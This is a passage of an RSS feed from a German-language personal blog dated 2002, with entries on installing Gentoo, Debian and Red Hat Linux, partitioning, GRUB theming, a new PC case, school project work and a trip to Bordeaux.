  18330.    <description><![CDATA[<a href="#" class="gone"><b>Hier</b></a> versteigere ich 20 Internet-World Ausgaben inklusive CDs.<br>Ein idealer Einstieg ins Internet. Vermittelt Inhalte über Webdesign, Webprogrammierung (HTML, CSS, Javascript...), Internet Hard- und Software. Behandelt auch komplexere Themen wie PHP, ASP, Perl ...<br><br><b>Bietet mit und treibt den Preis in die Höhe ;-)</b>
  18331. ]]></description>
  18332.    <content:encoded><![CDATA[<a href="#" class="gone"><b>Hier</b></a> versteigere ich 20 Internet-World Ausgaben inklusive CDs.<br>Ein idealer Einstieg ins Internet. Vermittelt Inhalte über Webdesign, Webprogrammierung (HTML, CSS, Javascript...), Internet Hard- und Software. Behandelt auch komplexere Themen wie PHP, ASP, Perl ...<br><br><b>Bietet mit und treibt den Preis in die Höhe ;-)</b>
  18333. ]]></content:encoded>
  18334.  </item>
  18335.  
  18336.  <item>
  18337.    <title>Es geht wieder :-)</title>
  18338.    <link>https://blog.x-way.org/Linux/2002/10/12/Es_geht_wieder_-.html</link>
  18339.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=105</guid>
  18340.    <dc:creator>Andreas Jaggi</dc:creator>
  18341.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18342.    <pubDate>Sat, 12 Oct 2002 01:24:00 +0200</pubDate>
  18343.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  18344.    <description><![CDATA[Hab Gentoo noch einaml ganz neu installiert.
  18345. Jedoch hab ich die CFLAGS etwas geändert:<br><br>Vorher:<br><br>
  18346. CFLAGS="-march=athlon-tbird"
  18347. <br><br>
  18348. Nachher:
  18349. <br><br>
  18350. CFLAGS="-march=athlon-tbird -O3 -pipe -fomit-frame-pointer -mmmx -m3dnow -funroll-loops -frerun-cse-after-loop -falign-functions=4 -expensive-optimizations"
  18351. <br><br>
  18352. Daher ist diesmal auch kein Fehler beim kompilieren aufgetreten. Und: das kompilieren ging viel schneller.<br>Insgesamt (bootstrap &amp; system) hab ich an die 2 Stunden Zeit gespart!<br><br>Jedoch will jetzt das Netzwerk nicht mehr. Aber das wird wohl nicht so ein grosses Problem zum beheben sein...
  18353. ]]></description>
  18354.    <content:encoded><![CDATA[Hab Gentoo noch einaml ganz neu installiert.
  18355. Jedoch hab ich die CFLAGS etwas geändert:<br><br>Vorher:<br><br>
  18356. CFLAGS="-march=athlon-tbird"
  18357. <br><br>
  18358. Nachher:
  18359. <br><br>
  18360. CFLAGS="-march=athlon-tbird -O3 -pipe -fomit-frame-pointer -mmmx -m3dnow -funroll-loops -frerun-cse-after-loop -falign-functions=4 -expensive-optimizations"
  18361. <br><br>
  18362. Daher ist diesmal auch kein Fehler beim kompilieren aufgetreten. Und: das kompilieren ging viel schneller.<br>Insgesamt (bootstrap &amp; system) hab ich an die 2 Stunden Zeit gespart!<br><br>Jedoch will jetzt das Netzwerk nicht mehr. Aber das wird wohl nicht so ein grosses Problem zum beheben sein...
  18363. ]]></content:encoded>
  18364.  </item>
  18365.  
  18366.  <item>
  18367.    <title>Dummes blödes Gentoo</title>
  18368.    <link>https://blog.x-way.org/Linux/2002/10/11/Dummes_bloedes_Gentoo.html</link>
  18369.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=104</guid>
  18370.    <dc:creator>Andreas Jaggi</dc:creator>
  18371.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18372.    <pubDate>Fri, 11 Oct 2002 13:34:00 +0200</pubDate>
  18373.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  18374.    <description><![CDATA[Beim kompilieren des Systems (emerge system) kommt folgender Fehler bei der Installation von iptables 1.2.7a<pre>
  18375. !!! ERROR: The ebuild did not complete successfully.
  18376. !!! Function src_compile, Line 12, Exitcode 2
  18377. !!! (no error message)
  18378. </pre>
  18379. Kann mir mal einer sagen, weshalb das nicht gehen will, wo ich doch die aktuellen Sourcen habe.<pre>emerge sync</pre> hat auch nichts geholfen.
  18380. ]]></description>
  18381.    <content:encoded><![CDATA[Beim kompilieren des Systems (emerge system) kommt folgender Fehler bei der Installation von iptables 1.2.7a<pre>
  18382. !!! ERROR: The ebuild did not complete successfully.
  18383. !!! Function src_compile, Line 12, Exitcode 2
  18384. !!! (no error message)
  18385. </pre>
  18386. Kann mir mal einer sagen, weshalb das nicht gehen will, wo ich doch die aktuellen Sourcen habe.<pre>emerge sync</pre> hat auch nichts geholfen.
  18387. ]]></content:encoded>
  18388.  </item>
  18389.  
  18390.  <item>
  18391.    <title>Dualboot ist out! Es lebe Trialboot!</title>
  18392.    <link>https://blog.x-way.org/Linux/2002/10/11/Dualboot_ist_out_Es_lebe_Trialboot.html</link>
  18393.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=103</guid>
  18394.    <dc:creator>Andreas Jaggi</dc:creator>
  18395.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18396.    <pubDate>Fri, 11 Oct 2002 01:52:00 +0200</pubDate>
  18397.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  18398.    <description><![CDATA[Mit diesem Motto hab ich heute tatkräftig meine HD noch einmal (fast) neu partitionniert. Meine Redhat-Partition musste dran glauben. Nur Windows blieb, weils mir zu aufwendig ist alles neu zu installieren.<br>Seither hab ich folgende Partitionstabelle:<br><pre>
  18399. /dev/hda1  ntfs    w2k-system
  18400. /dev/hda5  ntfs    w2k-programme
  18401. /dev/hda6  fat32   w2k-games
  18402. /dev/hda7  fat32   www
  18403. /dev/hda8  ext2/3  /boot gentoo
  18404. /dev/hda9  ext2/3  /     debian
  18405. /dev/hda10 ext2/3  /usr  debian
  18406. /dev/hda11 ext2/3  /var  debian
  18407. /dev/hda12 ext2/3  /tmp  debian
  18408. /dev/hda13 ext2/3  /     gentoo
  18409. /dev/hda14 ext2/3  /home
  18410. /dev/hda15 swap    swap
  18411. /dev/hda16 fat32   backup www
  18412. /dev/hda17 fat32   backup eigene dateien
  18413. /dev/hda18 fat32   eigene dateien
  18414. /dev/hda19 fat32   media
  18415. </pre><br>Nun ja, Debian läuft. Ausser dem X Zeugs. Bricht immer ab mit: No Screen(s) found. Und meldet noch, dass der Screen falsch komfiguriert sei. Dabei hab ich doch alles so eingegebn wies auf Verpackungen, Manuals etc. steht. *nerv*<br>Gentoo ist jetzt gerade beim Bootstrap, was soviel heisst wie: Kompilierer mit dem Kompilierer der CD kompilieren und nachdem glibc kompiliert ist nocheinmal den Kompilierer kompilieren, diesmal aber mit dem kompilierten Kompilierer. Einfach oder? ;-)
  18416. ]]></description>
  18417.    <content:encoded><![CDATA[Mit diesem Motto hab ich heute tatkräftig meine HD noch einmal (fast) neu partitionniert. Meine Redhat-Partition musste dran glauben. Nur Windows blieb, weils mir zu aufwendig ist alles neu zu installieren.<br>Seither hab ich folgende Partitionstabelle:<br><pre>
  18418. /dev/hda1  ntfs    w2k-system
  18419. /dev/hda5  ntfs    w2k-programme
  18420. /dev/hda6  fat32   w2k-games
  18421. /dev/hda7  fat32   www
  18422. /dev/hda8  ext2/3  /boot gentoo
  18423. /dev/hda9  ext2/3  /     debian
  18424. /dev/hda10 ext2/3  /usr  debian
  18425. /dev/hda11 ext2/3  /var  debian
  18426. /dev/hda12 ext2/3  /tmp  debian
  18427. /dev/hda13 ext2/3  /     gentoo
  18428. /dev/hda14 ext2/3  /home
  18429. /dev/hda15 swap    swap
  18430. /dev/hda16 fat32   backup www
  18431. /dev/hda17 fat32   backup eigene dateien
  18432. /dev/hda18 fat32   eigene dateien
  18433. /dev/hda19 fat32   media
  18434. </pre><br>Nun ja, Debian läuft. Ausser dem X Zeugs. Bricht immer ab mit: No Screen(s) found. Und meldet noch, dass der Screen falsch komfiguriert sei. Dabei hab ich doch alles so eingegebn wies auf Verpackungen, Manuals etc. steht. *nerv*<br>Gentoo ist jetzt gerade beim Bootstrap, was soviel heisst wie: Kompilierer mit dem Kompilierer der CD kompilieren und nachdem glibc kompiliert ist nocheinmal den Kompilierer kompilieren, diesmal aber mit dem kompilierten Kompilierer. Einfach oder? ;-)
  18435. ]]></content:encoded>
  18436.  </item>
  18437.  
  18438.  <item>
  18439.    <title>Ehre wem Ehre gebührt</title>
  18440.    <link>https://blog.x-way.org/Misc/2002/10/09/Ehre_wem_Ehre_gebuehrt.html</link>
  18441.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=102</guid>
  18442.    <dc:creator>Andreas Jaggi</dc:creator>
  18443.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18444.    <pubDate>Wed, 09 Oct 2002 01:18:00 +0200</pubDate>
  18445.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18446.    <description><![CDATA[Hab's gar nicht gemerkt: Meinen <a href="http://waterwave.ch/weblog/detail.php?id=100"><b>100. Eintrag</b></a> hab ich einem Microsoft Fehler gewidmet. Schande über mich ;-)
  18447. ]]></description>
  18448.    <content:encoded><![CDATA[Hab's gar nicht gemerkt: Meinen <a href="http://waterwave.ch/weblog/detail.php?id=100"><b>100. Eintrag</b></a> hab ich einem Microsoft Fehler gewidmet. Schande über mich ;-)
  18449. ]]></content:encoded>
  18450.  </item>
  18451.  
  18452.  <item>
  18453.    <title>Grub it!</title>
  18454.    <link>https://blog.x-way.org/Linux/2002/10/09/Grub_it.html</link>
  18455.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=101</guid>
  18456.    <dc:creator>Andreas Jaggi</dc:creator>
  18457.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18458.    <pubDate>Wed, 09 Oct 2002 01:12:00 +0200</pubDate>
  18459.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  18460.    <description><![CDATA[Ha! Red Hat 8.0 läuft noch.<br>Hab schon mal mit dem personalisieren begonnen. Mein erstes Opfer: der GRUB Bootloader.<br><a href="https://blog.x-way.org/images/grub-splash.gif"><b>So</b></a> ungefähr sieht er jetzt aus (Bootmenu etc. fehlt); und <a href="https://blog.x-way.org/images/grub-splash.png"><b>so</b></a> sollte er eigentlich aussehen (ohne die Beschränkung auf 16 Farben).<br>Als nächstes kommt der graphische Login. Oder vielleicht mach ich noch einen Versuch mit Debian. Red Hat passt mir nicht so, ist mir etwas zu "aufdringlich".
  18461. ]]></description>
  18462.    <content:encoded><![CDATA[Ha! Red Hat 8.0 läuft noch.<br>Hab schon mal mit dem personalisieren begonnen. Mein erstes Opfer: der GRUB Bootloader.<br><a href="https://blog.x-way.org/images/grub-splash.gif"><b>So</b></a> ungefähr sieht er jetzt aus (Bootmenu etc. fehlt); und <a href="https://blog.x-way.org/images/grub-splash.png"><b>so</b></a> sollte er eigentlich aussehen (ohne die Beschränkung auf 16 Farben).<br>Als nächstes kommt der graphische Login. Oder vielleicht mach ich noch einen Versuch mit Debian. Red Hat passt mir nicht so, ist mir etwas zu "aufdringlich".
  18463. ]]></content:encoded>
  18464.  </item>
  18465.  
  18466.  <item>
  18467.    <title>Ätsch!</title>
  18468.    <link>https://blog.x-way.org/Misc/2002/10/08/Aetsch.html</link>
  18469.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=100</guid>
  18470.    <dc:creator>Andreas Jaggi</dc:creator>
  18471.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18472.    <pubDate>Tue, 08 Oct 2002 03:29:00 +0200</pubDate>
  18473.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18474.    <description><![CDATA[<pre>Microsoft OLE DB Provider for ODBC Drivers- Fehler '8007000e'
  18475.  
  18476. [Microsoft][ODBC Microsoft Access Driver] Nicht genügend Arbeitsspeicher.
  18477.  
  18478. /leftinc.asp, line 30</pre>
  18479. Gerade bei <a href="https://web.archive.org/web/20020928122818/http://www.stegpc.ch/"><b>Steg PC</b></a> entdeckt. <br>BTW: Hab jetzt Red Had Linux 8.0 am Laufen; damit sollte kein solcher Fehler passieren ;-)
  18480. ]]></description>
  18481.    <content:encoded><![CDATA[<pre>Microsoft OLE DB Provider for ODBC Drivers- Fehler '8007000e'
  18482.  
  18483. [Microsoft][ODBC Microsoft Access Driver] Nicht genügend Arbeitsspeicher.
  18484.  
  18485. /leftinc.asp, line 30</pre>
  18486. Gerade bei <a href="https://web.archive.org/web/20020928122818/http://www.stegpc.ch/"><b>Steg PC</b></a> entdeckt. <br>BTW: Hab jetzt Red Had Linux 8.0 am Laufen; damit sollte kein solcher Fehler passieren ;-)
  18487. ]]></content:encoded>
  18488.  </item>
  18489.  
  18490.  <item>
  18491.    <title>Bastel bastel</title>
  18492.    <link>https://blog.x-way.org/Linux/2002/10/07/Bastel_bastel.html</link>
  18493.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=99</guid>
  18494.    <dc:creator>Andreas Jaggi</dc:creator>
  18495.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18496.    <pubDate>Mon, 07 Oct 2002 03:02:00 +0200</pubDate>
  18497.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  18498.    <description><![CDATA[Die LAN-Party ist am Samstag zu Ende gegangen. Nun habe ich Zeit mich wieder dem Basteln zu widmen ;-)<br>Nachdem ich bei <a href="http://www.gentoo.org/"><b>Gentoo Linux 1.2</b></a> bis zur Installtion von X gekommen bin und dann doch nicht weiter, habe ich mich mal mit <a href="http://www.debian.org/"><b>Debian 3.0</b></a>  versucht. Dort bin ich auch etwa an gleicher Stelle nicht mehr weiter gekommen. Habe dann ein <a href="http://rootlinux.org/"><b>Root Linux 1.2</b></a>, das gerade rumgelegen hat, installiert und dort habe ich noch schneller aufgegeben. Nun läuft wieder die Press-Edition von <a href="http://redhat.com/"><b>Redhat 7.3</b></a>. Beim installieren wollen von <a href="https://web.archive.org/web/20021017130120/https://www.gnome.org/~jdub/garnome/"><b>Garnome</b></a> kam die wunderschöne Meldung: <pre>bash: make: command not found</pre><br>Blöde Press-Edition. Nun bastel ich weiter; irgendwie wirds schon gehen (Neuaufsetzen). Dabei will ich doch nur auch <b><a href="http://art.gnome.org/images/screenshots/Evil_Aqua-Rip-Shot.jpg">so einen schönen Desktop</a></b> haben ;-)
  18499. ]]></description>
  18500.    <content:encoded><![CDATA[Die LAN-Party ist am Samstag zu Ende gegangen. Nun habe ich Zeit mich wieder dem Basteln zu widmen ;-)<br>Nachdem ich bei <a href="http://www.gentoo.org/"><b>Gentoo Linux 1.2</b></a> bis zur Installtion von X gekommen bin und dann doch nicht weiter, habe ich mich mal mit <a href="http://www.debian.org/"><b>Debian 3.0</b></a>  versucht. Dort bin ich auch etwa an gleicher Stelle nicht mehr weiter gekommen. Habe dann ein <a href="http://rootlinux.org/"><b>Root Linux 1.2</b></a>, das gerade rumgelegen hat, installiert und dort habe ich noch schneller aufgegeben. Nun läuft wieder die Press-Edition von <a href="http://redhat.com/"><b>Redhat 7.3</b></a>. Beim installieren wollen von <a href="https://web.archive.org/web/20021017130120/https://www.gnome.org/~jdub/garnome/"><b>Garnome</b></a> kam die wunderschöne Meldung: <pre>bash: make: command not found</pre><br>Blöde Press-Edition. Nun bastel ich weiter; irgendwie wirds schon gehen (Neuaufsetzen). Dabei will ich doch nur auch <b><a href="http://art.gnome.org/images/screenshots/Evil_Aqua-Rip-Shot.jpg">so einen schönen Desktop</a></b> haben ;-)
  18501. ]]></content:encoded>
  18502.  </item>
  18503.  
  18504.  <item>
  18505.    <title>UT 2003</title>
  18506.    <link>https://blog.x-way.org/Misc/2002/10/03/UT_20031.html</link>
  18507.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=98</guid>
  18508.    <dc:creator>Andreas Jaggi</dc:creator>
  18509.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18510.    <pubDate>Thu, 03 Oct 2002 23:49:00 +0200</pubDate>
  18511.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18512.    <description><![CDATA[Meins! Mit Tasche, T-Shirt und UT-Energy-Getränk.
  18513. ]]></description>
  18514.    <content:encoded><![CDATA[Meins! Mit Tasche, T-Shirt und UT-Energy-Getränk.
  18515. ]]></content:encoded>
  18516.  </item>
  18517.  
  18518.  <item>
  18519.    <title>Stress - Ferienbeginn</title>
  18520.    <link>https://blog.x-way.org/Misc/2002/09/30/Stress_-_Ferienbeginn.html</link>
  18521.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=97</guid>
  18522.    <dc:creator>Andreas Jaggi</dc:creator>
  18523.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18524.    <pubDate>Mon, 30 Sep 2002 11:52:00 +0200</pubDate>
  18525.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18526.    <description><![CDATA[Seit meinem letzten Eintrag ist einiges (für mich) wichtiges vonstatten gegangen, das ich euch nicht vorenthalten möchte.<br><br><b>Mittwoch, 18.9.</b><br>2 h Schlaf, wegen Maturaarbeit machen - ganzer Tag daran weitermachen.<br><br><b>Donnerstag, 19.9.</b><br>Nix Schlaf, wegen Maturaarbeit. Morgens um 7 endlich finale Version fertig ausgedruckt (Latein 7.30-9.05 muss ausfallen;). Danach Probe in Französisch, was ich am Morgen im Zug nur 1h gelernt hatte (Ja Frau N., es wird eine sauschlechte Note geben).<br>Elternabend. Geht voll in die Hose, weil "Schinkengipfeli" doch nicht Mikrowellentauglich sind und die Eltern infolge der schlechten Vorbereitung null Informationen bekommen. Nutzen = 0.<br><br><b>Freitag, 20.9.</b><br>Normaler Schultag. Schlafe andauernd fast ein (Weshalb wohl? ;-).<br>Am Abend spontaner Entscheid zum Besuch eines Konzerts "Closed Air" in meinem Dorf (Kaff). <a href="https://web.archive.org/web/20020926060502/http://www.chickennuggets.ch/" target="_blank"><b>Chickennuggets</b></a> (schlecht) und <a href="http://www.openseason.ch"><b>Openseason</b></a> (gut) spielen. Die Qualität der Bands ist vergleichbar mit der Qualität der entsprechenden Websites.<br><br><b>Samstag, 21.9.</b><br>Um 3 zurück von konzert und ab ins Bett bis 13 Uhr. Am Nachmittag Chillout betreiben.<br>Wieder ein spontaner Entscheid zum Partymachen bei Ramon. Also, in nächsten Zug gesetzt und ab nach Steffisburg (1.5 h). Im Verlauf des Abends sind wir auf <a href="https://www.youtube.com/watch?v=Eq2PQm6FqVY" target="_blank" title="Growl Karaoke auf YouTube"><b>dieses "Growl-Karaoke"</b></a> gestossen.<br><br><b>Sonntag, 22.9.</b><br>4 Uhr in Steffisburg einschlafen und um 10 wieder auf und zurück nach Hause (12.00). Packen für Projektwoche Bordeaux.<br>Um 18 Uhr knapp den Zug nicht verpassen. Zusammentreffen mit den anderen unterwegs. Grenzüberschreitung in Genf; umsteigen in Schlafwagen. "Couchette" nennt sich das und ist saueng. Dementsprechend langer Aufenthalt im Gang und kurzer Schlaf. Wobei von erholsamem Schlaf keine Rede ist: dauernd wird man in irgendeine Richtung geschubst und stösst an die Wand, Decke etc.<br><br><b>Montag, 23.9.</b><br>5.15 Uhr Wecken im Couchette. Danach Umsteigen in Toulouse in einen normaleren Zug, mit verstellbaren Sitzen, die so kurze Kopfstützen haben, dass sich jeder die Wirbelsäule verbiegen muss, um einigermassen bequem liegen zu können. So um 8 Uhr Ankunft in <a href="http://www.bordeaux-tourisme.com/"><b>Bordeaux</b></a>; total verspannt, verkatert, verrenkt ...
  18527. ]]></description>
  18528.    <content:encoded><![CDATA[Seit meinem letzten Eintrag ist einiges (für mich) wichtiges vonstatten gegangen, das ich euch nicht vorenthalten möchte.<br><br><b>Mittwoch, 18.9.</b><br>2 h Schlaf, wegen Maturaarbeit machen - ganzer Tag daran weitermachen.<br><br><b>Donnerstag, 19.9.</b><br>Nix Schlaf, wegen Maturaarbeit. Morgens um 7 endlich finale Version fertig ausgedruckt (Latein 7.30-9.05 muss ausfallen;). Danach Probe in Französisch, was ich am Morgen im Zug nur 1h gelernt hatte (Ja Frau N., es wird eine sauschlechte Note geben).<br>Elternabend. Geht voll in die Hose, weil "Schinkengipfeli" doch nicht Mikrowellentauglich sind und die Eltern infolge der schlechten Vorbereitung null Informationen bekommen. Nutzen = 0.<br><br><b>Freitag, 20.9.</b><br>Normaler Schultag. Schlafe andauernd fast ein (Weshalb wohl? ;-).<br>Am Abend spontaner Entscheid zum Besuch eines Konzerts "Closed Air" in meinem Dorf (Kaff). <a href="https://web.archive.org/web/20020926060502/http://www.chickennuggets.ch/" target="_blank"><b>Chickennuggets</b></a> (schlecht) und <a href="http://www.openseason.ch"><b>Openseason</b></a> (gut) spielen. Die Qualität der Bands ist vergleichbar mit der Qualität der entsprechenden Websites.<br><br><b>Samstag, 21.9.</b><br>Um 3 zurück von konzert und ab ins Bett bis 13 Uhr. Am Nachmittag Chillout betreiben.<br>Wieder ein spontaner Entscheid zum Partymachen bei Ramon. Also, in nächsten Zug gesetzt und ab nach Steffisburg (1.5 h). Im Verlauf des Abends sind wir auf <a href="https://www.youtube.com/watch?v=Eq2PQm6FqVY" target="_blank" title="Growl Karaoke auf YouTube"><b>dieses "Growl-Karaoke"</b></a> gestossen.<br><br><b>Sonntag, 22.9.</b><br>4 Uhr in Steffisburg einschlafen und um 10 wieder auf und zurück nach Hause (12.00). Packen für Projektwoche Bordeaux.<br>Um 18 Uhr knapp den Zug nicht verpassen. Zusammentreffen mit den anderen unterwegs. Grenzüberschreitung in Genf; umsteigen in Schlafwagen. "Couchette" nennt sich das und ist saueng. Dementsprechend langer Aufenthalt im Gang und kurzer Schlaf. Wobei von erholsamem Schlaf keine Rede ist: dauernd wird man in irgendeine Richtung geschubst und stösst an die Wand, Decke etc.<br><br><b>Montag, 23.9.</b><br>5.15 Uhr Wecken im Couchette. Danach Umsteigen in Toulouse in einen normaleren Zug, mit verstellbaren Sitzen, die so kurze Kopfstützen haben, dass sich jeder die Wirbelsäule verbiegen muss, um einigermassen bequem liegen zu können. So um 8 Uhr Ankunft in <a href="http://www.bordeaux-tourisme.com/"><b>Bordeaux</b></a>; total verspannt, verkatert, verrenkt ...
  18529. ]]></content:encoded>
  18530.  </item>
  18531.  
  18532.  <item>
  18533.    <title>Ahh... Ohh... Uhh...</title>
  18534.    <link>https://blog.x-way.org/Tech/2002/09/17/Ahh_Ohh_Uhh.html</link>
  18535.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=96</guid>
  18536.    <dc:creator>Andreas Jaggi</dc:creator>
  18537.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18538.    <pubDate>Tue, 17 Sep 2002 21:11:00 +0200</pubDate>
  18539.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  18540.    <description><![CDATA[Heute ist mein neues Gehäuse angekommen.<br><br><img src="https://blog.x-way.org/images/avance-case.jpg" alt="Avance Midi Tower B031-TI Titan"><br><br>Bestellt bei <a href="http://www.listan.de/" target="_blank"><b>listan.de</b></a> konnte ich von den europöischen 16% Mwst. 8.4 % einsparen und musste nur die 7.6 % CH-Mwst. zahlen. Einkaufen in anderen Ländern lohnt sich also :-)<br>Zum Gehäuse kann ich nur sagen: <b>Erste Sahne !!!</b><br>Im Tageslicht sieht es aus wie aus Spiegeln gemacht, im Dunkeln - unterm Tisch - ist es schwarz wie die Nacht.<br>Der Computer ist hörbar leiser, obwohl 2 zusätzliche Lüfter hinzugekommen sind! Liegt vermutlich am neuen Netzteil. Ein/Umbau ging problemlos vonstatten. Gestern habe ich (endlich) eine neue Festplatte bestellt. Eine Samsung SpinPoint P40 - 80 GB. Wurde auch langsam Zeit, da <a href="http://waterwave.ch/weblog/detail.php?id=77"><b>solches</b></a> passiert war. Habe mich dann heute schön erschrocken, als ich <a href="http://www.heise.de/newsticker/data/lab-16.09.02-000/" target="_blank"><b>diesen Artikel</b></a> entdeckte. Konnte mich dann aber beruhigen, weil da Samsung nicht mitzieht und immernoch 3 Jahre Garantie bietet. Schlechter ists da dem <a href="https://web.archive.org/web/20030412152010/http://monoklon.de/archiv/2002/09/"><b>Michael</b></a> ergangen.
  18541. ]]></description>
  18542.    <content:encoded><![CDATA[Heute ist mein neues Gehäuse angekommen.<br><br><img src="https://blog.x-way.org/images/avance-case.jpg" alt="Avance Midi Tower B031-TI Titan"><br><br>Bestellt bei <a href="http://www.listan.de/" target="_blank"><b>listan.de</b></a> konnte ich von den europöischen 16% Mwst. 8.4 % einsparen und musste nur die 7.6 % CH-Mwst. zahlen. Einkaufen in anderen Ländern lohnt sich also :-)<br>Zum Gehäuse kann ich nur sagen: <b>Erste Sahne !!!</b><br>Im Tageslicht sieht es aus wie aus Spiegeln gemacht, im Dunkeln - unterm Tisch - ist es schwarz wie die Nacht.<br>Der Computer ist hörbar leiser, obwohl 2 zusätzliche Lüfter hinzugekommen sind! Liegt vermutlich am neuen Netzteil. Ein/Umbau ging problemlos vonstatten. Gestern habe ich (endlich) eine neue Festplatte bestellt. Eine Samsung SpinPoint P40 - 80 GB. Wurde auch langsam Zeit, da <a href="http://waterwave.ch/weblog/detail.php?id=77"><b>solches</b></a> passiert war. Habe mich dann heute schön erschrocken, als ich <a href="http://www.heise.de/newsticker/data/lab-16.09.02-000/" target="_blank"><b>diesen Artikel</b></a> entdeckte. Konnte mich dann aber beruhigen, weil da Samsung nicht mitzieht und immernoch 3 Jahre Garantie bietet. Schlechter ists da dem <a href="https://web.archive.org/web/20030412152010/http://monoklon.de/archiv/2002/09/"><b>Michael</b></a> ergangen.
  18543. ]]></content:encoded>
  18544.  </item>
  18545.  
  18546.  <item>
  18547.    <title>5 ... 4 ... 3 ... 2 ... 1 ... Tada!</title>
  18548.    <link>https://blog.x-way.org/School/2002/09/17/5__4__3__2__1__Tada.html</link>
  18549.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=95</guid>
  18550.    <dc:creator>Andreas Jaggi</dc:creator>
  18551.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18552.    <pubDate>Tue, 17 Sep 2002 02:57:00 +0200</pubDate>
  18553.    <category domain="https://blog.x-way.org/School/">School</category>
  18554.    <description><![CDATA[<a href="https://web.archive.org/web/20030719065955/http://www.waterwave.ch/maturaarbeit/"><b>Hier</b></a> ist nun die Praxisarbeit meiner Maturaarbeit - eine Website. Genauer gesagt ist dort vorerst nur das Design. Wer den Inhalt will, bitte <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch" target="_blank"><b>hier</b></a> schauen.<br>Die Website entstand/entsteht zum Thema Usability.<br>Daher bitte Verbesserungsvorschläge abgeben!
  18555. ]]></description>
  18556.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20030719065955/http://www.waterwave.ch/maturaarbeit/"><b>Hier</b></a> ist nun die Praxisarbeit meiner Maturaarbeit - eine Website. Genauer gesagt ist dort vorerst nur das Design. Wer den Inhalt will, bitte <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch" target="_blank"><b>hier</b></a> schauen.<br>Die Website entstand/entsteht zum Thema Usability.<br>Daher bitte Verbesserungsvorschläge abgeben!
  18557. ]]></content:encoded>
  18558.  </item>
  18559.  
  18560.  <item>
  18561.    <title>dHd - PHP</title>
  18562.    <link>https://blog.x-way.org/Coding/2002/09/15/dHd_-_PHP.html</link>
  18563.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=94</guid>
  18564.    <dc:creator>Andreas Jaggi</dc:creator>
  18565.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18566.    <pubDate>Sun, 15 Sep 2002 23:20:00 +0200</pubDate>
  18567.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  18568.    <description><![CDATA[<a href="https://web.archive.org/web/20020919132941/http://www.zend.com/zend/tut/tutorial-campbell.php" target="_blank"><b>Hier</b></a> sieht das mit PHP und SOAP so einfach aus, dass sogar ich ein bisschen drausgekommen bin. Bei Gelegenheit (wenn Maturaarbeit feritg) ausdrucken.<br><br>Und das <a href="https://web.archive.org/web/20020917061831/http://www.onlamp.com/pub/a/php/2002/09/12/php_foundations.html" target="_blank"><b>hier</b></a> sieht auch sehr interessant aus.<br><br>Beides geklaut vom <a href="http://schockwellenreiter.de/" target="_blank"><b>Schockwellenreiter</b></a>.
  18569. ]]></description>
  18570.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20020919132941/http://www.zend.com/zend/tut/tutorial-campbell.php" target="_blank"><b>Hier</b></a> sieht das mit PHP und SOAP so einfach aus, dass sogar ich ein bisschen drausgekommen bin. Bei Gelegenheit (wenn Maturaarbeit feritg) ausdrucken.<br><br>Und das <a href="https://web.archive.org/web/20020917061831/http://www.onlamp.com/pub/a/php/2002/09/12/php_foundations.html" target="_blank"><b>hier</b></a> sieht auch sehr interessant aus.<br><br>Beides geklaut vom <a href="http://schockwellenreiter.de/" target="_blank"><b>Schockwellenreiter</b></a>.
  18571. ]]></content:encoded>
  18572.  </item>
  18573.  
  18574.  <item>
  18575.    <title>ut2003</title>
  18576.    <link>https://blog.x-way.org/Linux/2002/09/15/ut2003.html</link>
  18577.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=93</guid>
  18578.    <dc:creator>Andreas Jaggi</dc:creator>
  18579.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18580.    <pubDate>Sun, 15 Sep 2002 02:42:00 +0200</pubDate>
  18581.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
